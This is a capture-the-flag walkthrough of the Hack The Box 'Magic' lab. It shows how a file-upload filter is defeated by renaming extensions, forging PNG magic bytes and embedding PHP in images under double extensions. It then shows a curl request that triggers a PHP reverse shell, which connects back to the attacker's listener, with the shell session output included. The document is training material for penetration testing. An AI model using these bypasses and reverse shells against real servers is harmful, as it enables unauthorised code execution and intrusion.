File_Upload


Upon successful authentication bypass with SQLi, the file upload feature has been confirmed to be present within the target web application at the endpoint; upload.php It was also found that the uploaded files are stored to the /images/uploads/ directory with the original name preserved while being present on the main page at the index.php file, with an dynamically-changing arbitrary name

In order to exploit the potentially underlying vulnerability, I would to first identify the filters in place both front and back

Frontend Filter?


Judging by the source code of the upload.php file, it includes the JavaScript file named, upload.js, which suggests that this might be the frontend JS filter for file upload

upload.js


The upload.js file seems to be just relevant to the drag&drop feature and doesn’t include any security

This would mean that there is no frontend security for file upload

Backend Filter


The backend security for a file upload feature mostly consists of the following;

┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ nano shell.php
 
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ ll shell.php
12K -rw-r--r-- 1 kali kali 9.1K Oct  1 17:49 shell.php
 
┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ file shell.php
shell.php: PHP script, ASCII text

I will first attempt to upload a PHP reverse shell with the .php extension to see how the web app responses. It’s about 9.1k in size

Extension Filter


Upload failed with an error, indicating the presence of the extension filter The web app only allows JPG, JPEG, and PNG

┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ mv shell.php shell.png

So I will change the extension of the PHP reverse shell file to .png to upload again

Now the web app responses with an ambiguous text It could mean that the web app checks for the magic number

Magic Number


PNG file contains a 8-btye long magic number; 89 50 4E 47 0D 0A 1A 0A

So I will first append an arbitrary 8-byte long text into the shell.png file

I can then change the appended 8-byte long text to match the magic number of PNG file

Success


I get a different result this time. The file has been uploaded. This confirms the presence of magic number filter

Interestingly, the uploaded file, shell.png, is not present in the main page at the index.php file The one that shown here is the original test.jpg file

The uploaded file, shell.png, is confirmed to be present in the uploaded directory; /images/uploads/

This would mean that exploiting the file upload feature itself is complete However, the mechanism within the index.php file that decides what gets to be present and what doesn’t from the /images/uploads/ directory is preventing PHP code execution

I can opt out to embedding PHP code into a valid image file and attempt get code execution directly from it

Embedding


┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ cp ~/Pictures/test.jpg webshell.php.jpg

I can grab a valid image file and change the extension to contain PHP

Then append the PHP code into the valid image file

The file, webshell.php.jpg, has been uploaded

Navigating to the uploaded file at /images/uploads/webshell.php.jpg, reveals a file corruption

However, I can get PHP code execution

PHP Extension


I uploaded a PHP reverse shell, shell.png, with its magic number altered to match PNG file earlier. The initial scope of code execution was within the index.php file as it would include the uploaded file with PHP codes in it However, now that I have confirmed PHP code execution directly from the upload file at the /images/uploads/ directory, it would be unnecessary to continue to poke around the index.php file

I just need to modify the extension of the shell.png file to get code execution

┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ mv shell.png shell.php.png

This initially failed to get code execution, but I get a different result by altering the extension again

┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ curl http://$IP/images/uploads/shell.php.png

Invoking the PHP reverse shell within the shell.php.png file

┌──(kali㉿kali)-[~/archive/htb/labs/magic]
└─$ nnc 9999                
listening on [any] 9999 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.10.185] 60554
socket: Shell has connected! PID: 2567
whoami
www-data
hostname
ubuntu
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.185  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:77ae  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:77ae  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:77:ae  txqueuelen 1000  (Ethernet)
        RX packets 181094  bytes 16267108 (16.2 MB)
        RX errors 0  dropped 35  overruns 0  frame 0
        TX packets 174735  bytes 50128704 (50.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 12746  bytes 1011089 (1.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 12746  bytes 1011089 (1.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the www-data user via exploiting the file upload vulnerability